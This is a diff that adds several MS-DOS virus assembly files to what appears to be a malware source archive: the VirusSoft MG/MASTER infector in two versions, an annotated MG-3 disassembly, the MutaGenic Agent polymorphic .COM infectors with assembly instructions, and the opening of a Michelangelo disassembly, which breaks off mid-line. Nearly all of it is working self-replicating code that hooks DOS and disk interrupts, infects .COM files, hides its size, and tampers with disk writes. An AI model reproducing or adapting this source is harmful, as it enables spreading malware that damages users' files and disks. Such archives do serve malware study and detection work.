0e8h ;virus_call +h_03f5 equ $ +; +; references after the end of code space +; + org 03f5h +h_03f5 label word ;virus_call_ofs + org 03f7h +h_03f7 label word ;oldint13ofs + org 03f9h +h_03f9 label word ;oldint13seg +fun ends + end h_01f8 diff --git a/MSDOS/Virus.MSDOS.Unknown.mg.asm b/MSDOS/Virus.MSDOS.Unknown.mg.asm new file mode 100644 index 00000000..4b0dbe44 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.mg.asm @@ -0,0 +1,300 @@ +; (C) Copyright VirusSoft Corp. Aug, 1990 + + ofs = 201h + len = offset end-ofs + +start: call $+6 + + org ofs + +first: dw 020cdh + db 0 + + xchg ax,dx + pop di + dec di + dec di + mov si,[di] + dec di + add si,di + cld + movsw + movsb + + mov ax,4b04h + int 21h + jnc residnt + + xor ax,ax + mov es,ax + mov di,ofs+3 + mov cx,len-3 + rep movsb + + les di,[6] + mov al,0eah + dec cx + repne scasb + les di,es:[di] ; Searching for the INT21 vector + sub di,-1ah-7 + + db 0eah + dw offset jump,0 ; jmp far 0000:jump + +jump: push es + pop ds + mov si,[di+3-7] ; + lodsb ; + cmp al,68h ; compare DOS Ver + mov [di+4-7],al ; Change CMP AH,CS:[????] + mov [di+2-7],0fc80h ; + mov [di-7],0fccdh ; + + push cs + pop ds + + mov [1020],di ; int 0ffh + mov [1022],es + + mov beg-1,byte ptr not3_3-beg + jb not3.3 ; CY = 0 --> DOS Ver > or = 3.30 + mov beg-1,byte ptr 0 + mov [7b4h],offset pr7b4 + mov [7b6h],cs ; 7b4 + +not3.3: mov al,0a9h ; Change attrib +cont: repne scasb + cmp es:[di],0ffd8h + jne cont + mov al,18h ; mov es:[di],byte ptr 98h + stosb ; + + push ss + pop ds + + push ss + pop es + +residnt: xchg ax,dx + push ds ; jmp start + mov dx,0100h ; + push dx ; + retf ; ret far + +;--------Interrupt process--------; + +i21pr: push ax + push dx + push ds + push cx + push bx + push es + +if4b04: cmp ax,4b04h + je rti + + xchg ax,cx + mov ah,02fh + int 0ffh + +if11_12: cmp ch,11h + je yes + cmp ch,12h + jne inffn +yes: xchg ax,cx + int 0ffh + push ax + test es:byte ptr [bx+19],0c0h + jz normal + sub es:[bx+36],len +normal: pop ax +rti: pop es + pop bx + pop cx + add sp,12 + iret + +inffn: mov ah,19h + int 0ffh + push ax + +if36: cmp ch,36h ; -free bytes + je beg_36 +if4b: cmp ch,4bh ; -exec + je beg_4b +if47: cmp ch,47h ; -directory info + jne if5b + cmp al,2 + jae begin ; it's hard-disk +if5b: cmp ch,5bh ; -create new + je beg_4b +if3c_3d: shr ch,1 ; > -open & create + cmp ch,1eh ; - + je beg_4b + + jmp rest + +beg_4b: mov ax,121ah + xchg dx,si + int 2fh + xchg ax,dx + xchg ax,si + +beg_36: mov ah,0eh ; change current drive + dec dx ; + int 0ffh ; + +begin: + push es ; save DTA address + push bx ; + sub sp,44 + mov dx,sp ; change DTA + push sp + mov ah,1ah + push ss + pop ds + int 0ffh + push ds + pop es + mov bx,dx + + push cs + pop ds + + mov ah,04eh + mov dx,offset file + mov cx,3 ; r/o , hidden + int 0ffh ; int 21h + jc lst + +next: test es:[bx+21],byte ptr 80h + jz true +nxt: mov ah,4fh ; find next + int 0ffh + jnc next +lst: jmp last + +true: cmp es:[bx+27],byte ptr 0fdh + ja nxt + mov [144],offset i24pr + mov [146],cs + + push es + les di,[4ch] ; int 13h + mov i13adr,di + mov i13adr+2,es + jmp short $ +beg: mov [4ch],offset i13pr + mov [4eh],cs + ; +not3_3: pop ds + push [bx+22] ; time + + push [bx+24] ; date + + push [bx+21] ; attrib + + lea dx,[bx+30] ; ds : dx = offset file name + mov ax,4301h ; Change attrib !!! + pop cx + and cx,0feh ; clear r/o and CH + or cl,0c0h ; set Infect. attr + int 0ffh + + mov ax,03d02h ; open + int 0ffh ; int 21h + xchg ax,bx + + push cs + pop ds + + mov ah,03fh + mov cx,3 + mov dx,offset first + int 0ffh + + mov ax,04202h ; move fp to EOF + xor dx,dx + mov cx,dx + int 0ffh + mov word ptr cal_ofs+1,ax + + mov ah,040h + mov cx,len + mov dx,ofs + int 0ffh + jc not_inf + + mov ax,04200h + xor dx,dx + mov cx,dx + int 0ffh + + mov ah,040h + mov cx,3 + mov dx,offset cal_ofs + int 0ffh + +not_inf: mov ax,05701h + pop dx ; date + pop cx ; time + int 0ffh + + mov ah,03eh ; close + int 0ffh + + les ax,dword ptr i13adr + mov [4ch],ax ; int 13h + mov [4eh],es + +last: add sp,46 + pop dx + pop ds ; restore DTA + mov ah,1ah + int 0ffh + +rest: pop dx ; restore current drive + mov ah,0eh ; + int 0ffh ; + + pop es + pop bx + pop cx + pop ds + pop dx + pop ax + +i21cl: iret ; Return from INT FC + +i24pr: mov al,3 ; Critical errors + iret + +i13pr: cmp ah,3 + jne no + inc byte ptr cs:activ + dec ah +no: jmp dword ptr cs:i13adr + +pr7b4: db 2eh,0d0h,2eh + dw offset activ +; shr cs:activ,1 + jnc ex7b0 + inc ah +ex7b0: jmp dword ptr cs:[7b0h] + +;-------- + +file: db "*.COM" + +activ: db 0 + + dw offset i21pr ; int 0fch + dw 0 + +cal_ofs: db 0e8h + +end: + dw ? ; cal_ofs + +i13adr: dw ? + dw ? + + + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.mg2.asm b/MSDOS/Virus.MSDOS.Unknown.mg2.asm new file mode 100644 index 00000000..7875e3c6 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.mg2.asm @@ -0,0 +1,206 @@ +; ========================================================================> +; MutaGenic Agent ][ - MutaGen V1.3 Test Virus +; by MnemoniX 1994 +; +; A simple resident .COM infector implementing MutaGen. +; To assemble: +; TASM mg2 +; TLINK /t mg2 mutagen +; ========================================================================> + +ID equ 'MG' + +PING equ 0BADh ; a seldom used DOS function +PONG equ 0DEADh ; residency response + +MUTAGEN_SIZE equ 1652 ; version 1.3 + +extrn _MUTAGEN:near + +code segment byte public 'code' + org 100h + assume cs:code,ds:code,es:code,ss:code + +start: + jmp virus_begin ; fake host program + dw ID ; infection signature +virus_begin: + call $ + 3 + pop bp + sub bp,offset $ - 1 + + mov ax,PING ; are we already resident? + int 21h + cmp dx,PONG + je installed ; if so, don't repeat ... + + mov ax,ds ; blah, blah, blah + dec ax + mov ds,ax + + sub word ptr ds:[3],(MEM_SIZE + 15) / 16 + 1 + sub word ptr ds:[12h],(MEM_SIZE + 15) / 16 + 1 + mov ax,ds:[12h] + mov ds,ax + + sub ax,15 + mov es,ax + mov byte ptr ds:[0],'Z' + mov word ptr ds:[1],8 + mov word ptr ds:[3],(MEM_SIZE + 15) / 16 + + push cs ; now move virus into memory + pop ds + mov di,100h + mov cx,(offset virus_end - offset start) / 2 + lea si,[bp + start] + rep movsw + + xor ax,ax ; move interrupt vector 21 + mov ds,ax + + mov si,21h * 4 ; (saving it first) + mov di,offset old_int_21 + movsw + movsw + + mov ds:[si - 4],offset new_int_21 + mov ds:[si - 2],es + +installed: + push cs + push cs + pop ds + pop es + + mov di,100h ; restore original host + push di + lea si,[bp + host] + movsw + movsw + movsb + + xor ax,ax ; fix a few registers + cwd + mov si,100h + + ret ; and leave + +new_int_21: + cmp ax,PING ; residency test? + je pass_signal ; yah yah! + + cmp ax,4B00h ; program execute? + je execute ; oui oui ... + +int_21_exit: + db 0EAh ; nope, never mind +old_int_21 dd 0 + +pass_signal: + mov dx,PONG ; give passing signal + jmp int_21_exit + +execute: + push ax bx cx dx di si es ds ; a PUSHA is nicer, but it + ; won't work on an 8088 + + mov ax,3D00h ; open file + int 21h + jnc get_sft + jmp cant_open ; ecch ... +get_sft: + xchg ax,bx ; this virus implements the + push bx ; use of System File Table + mov ax,1220h ; (TM) manipulation + int 2Fh + + mov ax,1216h + mov bl,es:[di] + int 2Fh + pop bx + + push cs + pop ds + + mov cx,5 ; read header of file + mov dx,offset host + mov ah,3Fh + int 21h + + cmp word ptr host,'ZM' ; .EXE file? + je dont_infect ; oh well ... + + cmp word ptr host[3],ID ; already infected? + je dont_infect ; maybe next time ... + + mov word ptr es:[di + 2],2 ; a slick way of sidestepping + ; file attributes + mov ax,es:[di + 11h] ; get file size + + cmp ax,65729 - VIRUS_SIZE + 100 + jae dont_infect ; don't infect, too large + + mov es:[di + 15h],ax ; move to end of file + + sub ax,3 ; adjust for jump + mov word ptr new_jump[1],ax + +; MutaGen calling routine + push es di + + push cs ; setup registers + pop es + + mov di,offset virus_end + mov si,offset virus_begin + mov cx,VIRUS_SIZE + add ax,103h + mov dx,ax + + call _mutagen ; "It's a POLYMORPHIC WAR + ; OUT THERE!" - P. Ferguson + + pop di es ; restore DI and ES + + mov ah,40h ; save virus code to file + int 21h + + mov word ptr es:[di + 15h],0 ; reset file pointer + + mov ah,40h ; and write new jump to file + mov dx,offset new_jump + mov cx,5 + int 21h + + mov cx,es:[di + 0Dh] ; restore file time + mov dx,es:[di + 0Fh] + mov ax,5701h + int 21h + +dont_infect: + mov ah,3Eh ; close up shop + int 21h +cant_open: + pop ds es si di dx cx bx ax + jmp int_21_exit + + db '[MutaGenic Agent II]',0 + +host: ; original host header + mov ax,4C00h + int 21h + +new_jump db 0E9h ; new jump instruction + dw 0 + dw ID + +virus_end equ $ + MUTAGEN_SIZE + 1 ; add MutaGen size to virus + ; size + +VIRUS_SIZE equ virus_end - virus_begin +MEM_SIZE equ VIRUS_SIZE * 2 + 100 ; extra memory for encryption + ; buffer + +code ends + end start diff --git a/MSDOS/Virus.MSDOS.Unknown.mg3.asm b/MSDOS/Virus.MSDOS.Unknown.mg3.asm new file mode 100644 index 00000000..6c07f340 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.mg3.asm @@ -0,0 +1,314 @@ +; (C) Copyright VirusSoft Corp. Sep., 1990 +; +; This is the SOURCE file of last version of MASTER,(V500),(MG) ect. +; virus, distributed by VirusSoft company . First version was made +; in May., 1990 . Please don't make any corections in this file ! +; +; Bulgaria, Varna +; Sep. 27, 1990 + + + + ofs = 201h + len = offset end-ofs + + call $+6 + + org ofs + +first: dw 020cdh + db 0 + + pop di + dec di + dec di + mov si,[di] + dec di + add si,di + push cs + push di + cld + movsw + movsb + xchg ax,dx + + mov ax,4b04h + int 21h + jnc residnt + + xor ax,ax + mov es,ax + mov di,ofs+3 + mov cx,len-3 + rep movsb + + les di,[6] + mov al,0eah + dec cx + repne scasb + les di,es:[di] ; Searching for the INT21 vector + sub di,-1ah-7 + + db 0eah + dw offset jump,0 ; jmp far 0000:jump + +jump: push es + pop ds + mov si,[di+3-7] ; + lodsb ; + cmp al,68h ; compare DOS Ver + mov [di+4-7],al ; Change CMP AH,CS:[????] + mov [di+2-7],0fc80h ; + mov [di-7],0fccdh ; + + push cs + pop ds + + mov [1020],di ; int 0ffh + mov [1022],es + + mov beg-1,byte ptr not3_3-beg + jb not3.3 ; CY = 0 --> DOS Ver > or = 3.30 + mov beg-1,byte ptr 0 + mov [7b4h],offset pr7b4 + mov [7b6h],cs ; 7b4 + +not3.3: mov al,0a9h ; Change attrib +cont: repne scasb + cmp es:[di],0ffd8h + jne cont + mov al,18h + stosb + + push ss + pop ds + + push ss + pop es + +residnt: xchg ax,dx + retf ; ret far + +;--------Interrupt process--------; + +i21pr: push ax + push dx + push ds + push cx + push bx + push es + +if4b04: cmp ax,4b04h + je rti + + xchg ax,cx + mov ah,02fh + int 0ffh + +if11_12: cmp ch,11h + je yes + cmp ch,12h + jne inffn +yes: xchg ax,cx + int 0ffh + push ax + test es:byte ptr [bx+19],0c0h + jz normal + sub es:[bx+36],len +normal: pop ax +rti: pop es + pop bx + pop cx + add sp,12 + iret + +inffn: mov ah,19h + int 0ffh + push ax + +if36: cmp ch,36h ; -free bytes + je beg_36 +if4e: cmp ch,4eh ; -find first FM + je beg_4b +if4b: cmp ch,4bh ; -exec + je beg_4b +if47: cmp ch,47h ; -directory info + jne if5b + cmp al,2 + jae begin ; it's hard-disk +if5b: cmp ch,5bh ; -create new + je beg_4b +if3c_3d: shr ch,1 ; > -open & create + cmp ch,1eh ; - + je beg_4b + + jmp rest + +beg_4b: mov ax,121ah + xchg dx,si + int 2fh + xchg ax,dx + xchg ax,si + +beg_36: mov ah,0eh ; change current drive + dec dx ; + int 0ffh ; + +begin: + push es ; save DTA address + push bx ; + sub sp,44 + mov dx,sp ; change DTA + push sp + mov ah,1ah + push ss + pop ds + int 0ffh + mov bx,dx + + push cs + pop ds + + mov ah,04eh + mov dx,offset file + mov cx,3 ; r/o , hidden + int 0ffh ; int 21h + jc lst + +next: test ss:[bx+21],byte ptr 80h + jz true +nxt: mov ah,4fh ; find next + int 0ffh + jnc next +lst: jmp last + +true: cmp ss:[bx+27],byte ptr 0fdh + ja nxt + mov [144],offset i24pr + mov [146],cs + + les ax,[4ch] ; int 13h + mov i13adr,ax + mov i13adr+2,es + jmp short $ +beg: mov [4ch],offset i13pr + mov [4eh],cs + ; +not3_3: push ss + pop ds + push [bx+22] ; time + + push [bx+24] ; date + + push [bx+21] ; attrib + + lea dx,[bx+30] ; ds : dx = offset file name + mov ax,4301h ; Change attrib !!! + pop cx + and cx,0feh ; clear r/o and CH + or cl,0c0h ; set Infect. attr + int 0ffh + + mov ax,03d02h ; open + int 0ffh ; int 21h + xchg ax,bx + + push cs + pop ds + + mov ah,03fh + mov cx,3 + mov dx,offset first + int 0ffh + + mov ax,04202h ; move fp to EOF + xor dx,dx + mov cx,dx + int 0ffh + mov word ptr cal_ofs+1,ax + + mov ah,040h + mov cx,len + mov dx,ofs + int 0ffh + jc not_inf + + mov ax,04200h + xor dx,dx + mov cx,dx + int 0ffh + + mov ah,040h + mov cx,3 + mov dx,offset cal_ofs + int 0ffh + +not_inf: mov ax,05701h + pop dx ; date + pop cx ; time + int 0ffh + + mov ah,03eh ; close + int 0ffh + + les ax,dword ptr i13adr + mov [4ch],ax ; int 13h + mov [4eh],es + +last: add sp,46 + pop dx + pop ds ; restore DTA + mov ah,1ah + int 0ffh + +rest: pop dx ; restore current drive + mov ah,0eh ; + int 0ffh ; + + pop es + pop bx + pop cx + pop ds + pop dx + pop ax + +i21cl: iret ; Return from INT FC + +i24pr: mov al,3 ; Critical errors + iret + +i13pr: cmp ah,3 + jne no + inc byte ptr cs:activ + dec ah +no: jmp dword ptr cs:i13adr + +pr7b4: db 2eh,0d0h,2eh + dw offset activ +; shr cs:activ,1 + jnc ex7b0 + inc ah +ex7b0: jmp dword ptr cs:[7b0h] + +;-------- + +file: db "*",32,".COM" + +activ: db 0 + + dw offset i21pr ; int 0fch + dw 0 + +cal_ofs: db 0e8h + +end: + dw ? ; cal_ofs + +i13adr: dw ? + dw ? + + +; The End.--- + +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + diff --git a/MSDOS/Virus.MSDOS.Unknown.mg_3.asm b/MSDOS/Virus.MSDOS.Unknown.mg_3.asm new file mode 100644 index 00000000..a8cf4c9d --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.mg_3.asm @@ -0,0 +1,338 @@ + page ,132 +; +; name: mg-3.vom +; +; program type: com/bin +; +; cpu type: 8086 +; +; program loaded at 0000:01f8 +; +; physical eof at 0000:03f5 +; +; program entry point at 0000:01f8 +; +fun segment +assume cs:fun,ds:fun,es:fun,ss:fun +; +; references before the start of code space +; + org 0006h +h_0006 label word + org 004ch +h_004c label word + org 004eh +h_004e label word + org 0090h +h_0090 label word + org 0092h +h_0092 label word +; +; data references to code space addresses +; +; org 0339h +;h_0339 label byte +; +; start of program +; + org 01f8h +h_01f8: + call h_0204 ;goto virus + nop + mov ax,4c00h + int 21h ;terminate program +; +h_0201 db 0ebh,02h,90h ;saved_prog_start +h_0204: + xchg ax,dx ;save ax + pop di ;get return address + dec di ;back by 2 + dec di ;to CALL ofs + mov si,[di] ;get call ofs + dec di ;back 1 to start of program + add si,di ;call ofs plus prog start + ;= saved_prog_start + push cs ;save cs + push di ;and di for program start + cld ;up! + movsw ;replace 1st word + movsb ;and 3rd byte of program + mov ax,4b04h ;fn = virus ID + int 21h ;call DOS + jae h_027f ;OK (installed), skip this + xor ax,ax ;get a 0 + mov es,ax ;address INT seg + mov di,0204h ;es:di = new virus home + mov cx,offset h_03f5-h_0204 ;virus size (01f1h) + repz movsb ;copy virus to low mem + les di,[0006h] ;get seg:ofs of CPMtype doscall + mov al,0eah ;JMPF instruction + dec cx ;cx = 0FFFFh + repnz scasb ;find JMPF + les di,es:[di] ;get seg:ofs to DOS + sub di,-21h ;up to ?? + jmp 0000h:0239h ;goto virus in low memory +h_0239: + push es ;DOS seg + pop ds ;to ds + mov si,[di-04h] ;get ptr to max_dos_fn + lodsb ;get that byte + cmp al,68h ;at least 68? + mov [di-03h],al ;set immediate compare value + mov word ptr [di-05h],0fc80h ;CMP AH,xx instruction + mov word ptr [di-07h],0fccdh ;INT 0FCH instruction + push cs ;current segment + pop ds ;to ds + mov [03fch],di ;set INT FF ofs to DOS entry + mov [03feh],es ;and INT FF seg to DOS entry + ;BUG: need to have INT FF point to the + ; CMP AH,xx instruction they + ; have set up!!! + mov byte ptr [h_0339],0ah ;set dosver_skip + jnae h_026e ;not DOS 3.3+, skip this + mov byte ptr [h_0339],00h ;reset dosver_skip + mov word ptr [h_07b4],offset h_03db ;set ofs of saved INT 13 vector + mov [h_07b6],cs ;and seg of saved INT 13 vector + ;in IBMBIO.COM + ;NOTE: How stable are these locations?!?!?! +h_026e: + mov al,0a9h ;TEST AX,xxxx instruction +h_0270: + repnz scasb ;find it + cmp word ptr es:[di],-28h ;immediate value = 0FFD8h? + ;NOTE: test for illegal flag values + jnz h_0270 ;no, try again + mov al,18h ;new immediate value: 0FF18h + ;NOTE: remove "our" flag from illegal values + stosb ;modify test instr + push ss ;copy PSP seg + pop ds ;to ds + push ss ;and again + pop es ;to es +h_027f: + xchg ax,dx ;get original AX back + retf ;and execute infected program +; +; intfchere +; +h_0281: + push ax ;save regs + push dx + push ds + push cx + push bx + push es + cmp ax,4b04h ;fn = virus ID? + jz h_02ad ;yes, cleanup and exit NC + xchg ax,cx ;save ax + mov ah,2fh ;fn = get DTA + int 0ffh ;call DOS + cmp ch,11h ;fn = FCB find first? + jz h_029b ;yes, stop here + cmp ch,12h ;fn = FCB find next? + jnz h_02b4 ;no, skip this +h_029b: + xchg ax,cx ;get fn back + int 0ffh ;call to DOS + push ax ;save return code + test byte ptr es:[bx+13h],0c0h ;check our attribute bits + jz h_02ac ;not set, skip this + sub word ptr es:[bx+24h],offset h_03f5-h_0201 + ;update filesize to hide virus (01f4h) +h_02ac: + pop ax ;restore regs +h_02ad: + pop es + pop bx + pop cx + add sp,+0ch ;cleanup stack + iret ;and return to caller + ;BUG: Should preserve returned flags! +h_02b4: + mov ah,19h ;fn = get current disk + int 0ffh ;call to DOS + push ax ;save disk + cmp ch,36h ;fn = get disk free space? + jz h_02e9 ;yes, stop here + cmp ch,4eh ;fn = find first? + jz h_02e0 ;yes, stop here + cmp ch,4bh ;fn = load/execute? + jz h_02e0 ;yes, stop here + cmp ch,47h ;fn = get current dir? + jnz h_02d1 ;no, skip this + cmp al,02h ;drive >= C:? + jae h_02ee ;yes, stop here +h_02d1: + cmp ch,5bh ;fn = create new file? + jz h_02e0 ;yes, stop here + shr ch,1 ;fn / 2 + cmp ch,1eh ;fn = 3C or 3D? + ;create file or open file? + jz h_02e0 ;yes, stop here + jmp h_03bb ;else continue DOS call +h_02e0: + mov ax,121ah ;fn = get file's drive + xchg si,dx ;ds:si = filename + int 2fh ;multiplex interrupt + xchg ax,dx ;ax = old si, dx = drive + xchg ax,si ;old si to si +h_02e9: + mov ah,0eh ;fn = set current disk + dec dx ;drive A: = 0, B: = 2, etc + int 0ffh ;call to DOS +h_02ee: + push es ;save dta seg + push bx ;and dta ofs + sub sp,+2ch ;allocate locals + mov dx,sp ;get ptr to local DTA + push sp ;save ptr to local DTA + mov ah,1ah ;fn = set DTA + push ss ;stack segment + pop ds ;is DTA seg + int 0ffh ;call to DOS + mov bx,dx ;bx = ptr to DTA + push cs ;current segment + pop ds ;to ds + mov ah,4eh ;fn = find first matching file + mov dx,offset h_03e9 ;ds:dx = wildcard_com + mov cx,0003h ;attributes = HIDDEN, Read-Only + int 0ffh ;call to DOS + jnae h_0319 ;error, cleanup and exit +h_030c: + test byte ptr ss:[bx+15h],80h ;our attribute set? + jz h_031c ;no, continue + ;BUG: If it will re-infect a file with the + ; MG-2 attribute set, then the above + ; size change mask will FAIL! +h_0313: + mov ah,4fh ;fn = find next matching file + int 0ffh ;call to DOS + jae h_030c ;OK, check out this file +h_0319: + jmp h_03b2 ;cleanup and exit +h_031c: + cmp byte ptr ss:[bx+1bh],0fdh ;file too big? + ja h_0313 ;yes, try next file + mov word ptr [0090h],offset h_03c7 ;set INT24HERE ofs + mov [0092h],cs ;and INT24HERE seg + ;NOTE: The original values are NOT saved! + les ax,[004ch] ;get INT 13 vector + mov [h_03f7],ax ;save oldint13ofs + mov [h_03f9],es ;and oldint13seg +h_0339 equ $+1 ;dosver_skip + jmp short h_033a ;if not DOS 3.3+, skip this +h_033a: + mov word ptr [004ch],offset h_03ca ;set ofs of INT13HERE_2 + mov [004eh],cs ;and new INT 13 seg, too +; +; dosver_skip comes here +; + push ss ;DTA seg + pop ds ;to ds + push word ptr [bx+16h] ;save file time + push word ptr [bx+18h] ;and file date + push word ptr [bx+15h] ;and file attributes + lea dx,[bx+1eh] ;ds:dx = name found in DTA + mov ax,4301h ;fn = set file attributes + pop cx ;get file attributes + and cx,00feh ;high byte, R/O bit off + or cl,0c0h ;set our attributes + int 0ffh ;call to DOS + mov ax,3d02h ;fn = open file for read/write + int 0ffh ;call to DOS + xchg ax,bx ;handle to bx + push cs ;current segment + pop ds ;to ds + mov ah,3fh ;fn = read file + mov cx,0003h ;size of saved_prog_start + mov dx,offset h_0201 ;ds:dx = saved_prog_start + int 0ffh ;call to DOS + mov ax,4202h ;fn = lseek to EOF+CX:DX + xor dx,dx ;cx:dx = 0 + mov cx,dx + int 0ffh ;call to DOS + mov [h_03f5],ax ;save virus_call_ofs + mov ah,40h ;fn = write to file + mov cx,offset h_03f5-h_0201 ;virus size (01f4h) + mov dx,offset h_0201 ;ds:dx = this virus + int 0ffh ;call to DOS + jnae h_039c ;error, cleanup and quit + mov ax,4200h ;fn = lseek to BOF+CX:DX + xor dx,dx ;cx:dx = 0 + mov cx,dx + int 0ffh ;call to DOS + mov ah,40h ;fn = write to file + mov cx,0003h ;size of virus_call + mov dx,offset h_03f4 ;ds:dx = virus_call + int 0ffh ;call to DOS +h_039c: + mov ax,5701h ;fn = set file time/date + pop dx ;restore file date + pop cx ;and file time + int 0ffh ;call to DOS + mov ah,3eh ;fn = close file + int 0ffh ;call to DOS + les ax,[h_03f7] ;get oldint13 + mov [004ch],ax ;restore INT 13 ofs + mov [004eh],es ;and INT 13 seg +h_03b2: + add sp,+2eh ;clean stuff off stack + pop dx ;restore old DTA ofs + pop ds ;and old DTA seg + mov ah,1ah ;fn = set DTA + int 0ffh ;call to DOS +h_03bb: + pop dx ;get default drive back + mov ah,0eh ;fn = set current drive + int 0ffh ;call to DOS + pop es ;restore regs + pop bx + pop cx + pop ds + pop dx + pop ax + iret ;continue INT 21 +; +; int24here +; +h_03c7: + mov al,03h ;response = FAIL + iret ;and done +; +; int13here_2 +; +h_03ca: + cmp ah,03h ;fn = write? + jnz h_03d6 ;no, skip this + inc byte ptr cs:[h_03ef] ;update ?? + dec ah ;change function to read +h_03d6: + jmp dword ptr cs:[h_03f7] ;and continue INT 13 +; +; int13here +; +h_03db: + shr byte ptr cs:[h_03ef],1 ;update ?? + jae h_03e4 ;yes, skip this + inc ah ;change function + ;i.e. read changes to write, etc! +h_03e4: + jmp dword ptr cs:[h_07b0] ;continue INT 13 +; +h_03e9 db "* .COM" ;wildcard_com +h_03ef db 00h + ;NOTE: location of following data CANNOT change! +h_03f0 dw h_0281,0000h ;INT 0FCH vector! +h_03f4 db 0e8h ;virus_call +h_03f5 equ $ +; +; references after the end of code space +; + org 03f5h +h_03f5 label word ;virus_call_ofs + org 03f7h +h_03f7 label word ;oldint13ofs + org 03f9h +h_03f9 label word ;oldint13seg +fun ends + end h_01f8 diff --git a/MSDOS/Virus.MSDOS.Unknown.mgagent.asm b/MSDOS/Virus.MSDOS.Unknown.mgagent.asm new file mode 100644 index 00000000..48fc48f6 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.mgagent.asm @@ -0,0 +1,174 @@ +; MutaGenic Agent - MutaGen Test Virus +; by MnemoniX 1994 +; +; This is an ordinary run-of-the-mill virus that infects a .COM file in +; the current directory on run and uses MutaGen to encrypt itself. + +MGEN_SIZE equ 1032 ; size of MutaGen + +ID equ 'MG' ; ID word +MAX_INFECTIONS equ 2 ; infections per run + +extrn _MUTAGEN:near ; call MutaGen + +code segment byte public 'code' + org 100h + assume cs:code,ds:code,es:code,ss:code + +start: + db 0E9h,03h,00h ; jmp virus_begin + dw ID + +host: + db 0CDh,020h,00 + +virus_begin: + call $+3 ; BP serves as pointer + pop bp + sub bp,offset $-1 + + mov byte ptr [bp+offset infect],0 ; clear infection flag + + mov ah,2Fh ; get original DTA address + int 21h ; and save it + push bx + + lea dx,[bp+END_MGEN] ; set our DTA to the end of the + mov ah,1Ah ; virus code + int 21h + + call infect_search ; infection routine ... + + pop dx ; ... and we're done + mov ah,1Ah + int 21h + + mov di,100h ; enter in original five bytes of host + push di ; save DI as host address + lea si,[bp+offset prog_len] ; get address of original host header + mov si,[si] ; found at end of host program + add si,100h + movsb ; move five bytes + movsw + movsw + + ret ; and call host + +infect_search proc near + + mov ah,4Eh ; search for first .COM file + lea dx,[bp+com_file] ; in directory + xor cx,cx + int 21h + jnc infect_file ; none present, leave + jmp inf_complete + +infect_file: + mov ax,3D02h ; .COM file found, open + lea dx,[bp+END_MGEN+1Eh] + int 21h + + mov bx,ax ; file handle in BX + mov ax,5700h ; get file date and time + int 21h ; and save it + push cx + push dx + + lea dx,[bp+orig_header] ; now read in first five bytes + mov cx,5 ; of the file + mov ah,3Fh + int 21h + + mov ax,4202h ; no, infect this file + call move_pointer ; (this call is to save bytes) + + cmp ax,64000 + jae infected ; file is too big, skip it + cmp [bp+offset orig_header+3],ID + je infected ; if previously infected, skip it + + lea si,[bp+offset new_jump+1] + + push [bp+offset prog_len] ; save original program length + mov [bp+offset prog_len],ax ; store this program length + + add ax,2 + mov [si],ax + + lea dx,[bp+offset orig_header] ; store first five bytes of file + mov cx,5 ; at end of file + mov ah,40h + int 21h + +; MutaGen calling routine + push bx + push bp + mov dx,[si] ; MutaGen offset calculation + add dx,103h + mov cx,VIRUS_SIZE ; write VIRUS_SIZE bytes + lea di,[bp+END_MGEN+80h] ; store at end of virus + lea si,[bp+offset virus_begin] + call _MUTAGEN + + pop bp + pop bx + lea dx,[bp+offset END_MGEN+80h] ; write encrypted code + mov ah,40h ; to file + int 21h + + pop [bp+offset prog_len] ; restore original program length + + mov ax,4200h ; lastly, add our new jump instruction + call move_pointer ; to the beginning of the file + + lea dx,[bp+offset new_jump] + mov cx,5 ; write five bytes to file + mov ah,40h + int 21h + + inc byte ptr [bp+offset infect] ; set infection flag + +infected: + pop dx ; restore time and date + pop cx + mov ax,5701h + int 21h + + mov ah,3Eh ; close file + int 21h + + cmp byte ptr [bp+offset infect],1 ; did an infection occur? + je inf_complete ; yes, go + + mov ah,4Fh ; find another file + int 21h ; and repeat + jc inf_complete ; none found, quit + jmp infect_file +inf_complete: + ret + + +move_pointer: + xor cx,cx ; i'm being really stingy with space + xor dx,dx ; here ... + int 21h + ret + + endp + +com_file db '*.COM',0 ; .COM file +orig_header db 5 dup(0) ; first three bytes of program +new_jump db 0E9h,00,00 ; new jump instruction + dw ID ; ID signature +prog_len dw 3 ; length of file for return sequence +infect db 0 +sig db '[MutaGenic Agent]',0 + +virus_end: + +END_MGEN equ virus_end + MGEN_SIZE +VIRUS_SIZE equ virus_end - virus_begin + MGEN_SIZE + +code ends + end start + diff --git a/MSDOS/Virus.MSDOS.Unknown.mich.asm b/MSDOS/Virus.MSDOS.Unknown.mich.asm new file mode 100644 index 00000000..a4d9d064 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.mich.asm @@ -0,0 +1,234 @@ +; This is a disassembly of the much-hyped michelangelo virus. +; As you can see, it is a derivative of the Stoned virus. The +; junk bytes at the end of the file are probably throwbacks to +; the Stoned virus. In any case, it is yet another boot sector +; and partition table infector. + +michelangelo segment byte public + assume cs:michelangelo, ds:michelangelo +; Disassembly by Dark Angel of PHALCON/SKISM + org 0 + + jmp entervirus +highmemjmp db 0F5h, 00h, 80h, 9Fh +maxhead db 2 ; used by damagestuff +firstsector dw 3 +oldint13h dd 0C8000256h + +int13h: + push ds + push ax + or dl, dl ; default drive? + jnz exitint13h ; exit if not + xor 